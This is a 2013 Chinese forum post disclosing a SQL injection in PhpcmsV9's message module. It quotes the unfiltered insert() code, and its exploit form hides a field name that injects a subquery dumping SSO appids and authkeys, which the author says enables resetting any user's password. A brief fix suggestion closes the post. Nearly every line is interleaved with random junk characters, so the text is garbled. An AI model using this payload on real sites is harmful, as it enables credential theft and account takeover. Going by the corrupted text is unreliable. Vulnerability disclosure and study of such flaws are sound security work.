找回密码
 立即注册
查看: 3007|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
; l6 l* v5 n5 T+ s2 z& ~0 b: Z4 b  E% I! c; u2 f5 [  U* }9 T! z
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。0 L+ b% r  x& P. }; i5 B; t
9 c0 s$ a, R; G+ v  v
明天再更新下一个漏洞。
  S  M; F7 ?( M. @  e4 ?' @详细说明:) ~7 n7 C' V. _" `! u3 Q2 Q
在/phpcms9/phpcms/modules/message/index.php中有代码如下:* D- y" ]0 _2 f
9 S3 b; L/ w5 z& G0 D) N
$messageid = $this->message_db->insert($_POST['info'],true);, v3 W- V) j1 ^3 M8 b+ H
* [3 h5 `. ^* y7 y/ w. u( M# b
, _9 ~' z. k; _! i% U. j$ v2 W7 k
insert方法是key value的,代码如下:
$ ]/ w1 M* L4 H4 g- l. Z
8 S3 o4 x8 b8 y  apublic function insert($data, $table, $return_insert_id = false, $replace = false) {
4 n; `1 h  E9 ]4 n6 W  A- T                if(!is_array( $data ) || $table == '' || count($data) == 0) {; ^& m5 ]  b3 a1 P) g, ^
                        return false;3 ?3 J9 ~# t: Y2 }  t" K
                }
. C8 ~9 k+ b9 l- Z+ k. Z                ! b6 [0 P1 u( G" Y- _+ U! r+ t6 P9 }
                $fielddata = array_keys($data);
3 c7 @% c( N8 q$ v- t' E) D' z# }1 C                $valuedata = array_values($data);
4 n' H7 b! K0 z                array_walk($fielddata, array($this, 'add_special_char'));. f6 {2 y* W+ P; I' ]3 T& l" f
                array_walk($valuedata, array($this, 'escape_string'));
( F, u; g/ f3 M. D- t5 X                1 `* t% t' m7 v+ n# J
                $field = implode (',', $fielddata);
/ G3 r( }- ?: p& ~; x+ v                $value = implode (',', $valuedata);2 i# |; t3 v  r$ [

0 k. {" G1 b8 s# l& r                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';" d; }5 _: Z. p& e5 ]
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
: h/ L# n9 O- E% l+ @                $return = $this->execute($sql);
/ N  R4 G3 n& h                return $return_insert_id ? $this->insert_id() : $return;
3 [- ^+ c. G5 Z        }
& m: B; f3 d; M2 H7 j2 J" q; A; P$ C( W  B

' W6 O- t% b) w1 P嗯,很遗憾的是
, J5 Z, F2 q  b$ P4 F
/ Q( c% a: \2 `, Q# u6 A9 h. Earray_walk($fielddata, array($this, 'add_special_char'));
7 V/ u  d+ Q4 i
% w0 z! V) A: B, W" p* V: c' E  N" X5 k. h2 z  N
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。9 M2 I/ Y2 E, \; f: [

$ r$ H2 ?! N* B. d2 g到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。; B8 Y# H# |* g4 F5 Z" o

( M) N+ o2 P, s% T4 S) m; |漏洞证明:
6 q! C" F3 t4 M! Q. O( v2 \9 V, Z3 T0 G; N读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。* ~) _0 a; d' g0 ]- I0 ~) o0 R& ~
6 l7 W- a  g; O3 I" P2 a% U3 c3 D( J
  \. [1 c8 A/ x% \# D
表单如下:用户名什么的得自己改一改。
+ ^# T( @: K: C3 q<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">( I5 K2 g8 M& h7 C
<table width="100%" cellspacing="0" class="table_form">. @2 ~( W/ G$ X9 M/ @0 h
<tr>$ w; e# L4 }) y$ j- _
<th>标 题:</th>8 P0 H- D- B4 D
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>/ i4 K* x4 q: @% ]# g
</tr> / e. e' n1 [7 r
<tr>' n' O2 U6 j& Z5 P' F5 ?/ O& E
<th>内 容:</th>7 s+ D; Y  g! r
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
$ P. K5 s( a$ K# ]! }: R- b' k</tr>
" m; ~2 A+ A& ]8 e* s! Y8 ^. X<input type="hidden" name="info[replyid]" value="2" /> + B% P( t, T- n, m3 N  E# O
<input type="hidden" name="info[send_to_id]" value="cc" /> . `+ j7 I% m* Q2 z) }: \
<input type="hidden" name="info[send_from_id]" value="hh">8 d7 R: Z/ p, f6 |) `/ ], ]" |
<!-- 漏洞的利用重点在这里开始 -->
' f/ h  l7 K6 w<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
* I8 ?9 [2 H9 T6 i* V<!-- 漏洞的利用重点在这里结束 -->
* j4 r0 ?3 b# i/ A5 u. B- W<tr>
9 ]) f# B- C$ t+ Z  a! d<th>验证码:</th>1 C# O- |) g7 p1 S9 k* z, y0 X9 X0 E
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
4 O- W+ j0 D( g5 Q% q& r" U! V. W</tr>
3 s0 p$ W5 L% }0 l2 k* G! h<tr>
" l+ G$ N9 U, ^) |: F<td></td>2 y/ A8 h6 x9 `3 H: }: D
<td colspan="2"><label>
! a$ @0 q5 n5 p3 G- ]<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
/ p8 Y" Y% v( t2 o; g  V" y$ l) R1 b: i</label></td>) |2 k6 T9 V7 }) X
</tr>( g6 }4 o5 c: O  x' p2 O
</table>+ O8 U) {' p' Y
</form>( C! ?% g# z2 p" h5 @5 P
在add_special_char函数内对key做过滤就可以了。3 I2 M; o4 S- ~( `( ?: _

5 M0 l( x/ D/ ~9 n3 C5 m# M9 P, Q+ y+ n& {( \" o

/ q" p/ A- }" X; P

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表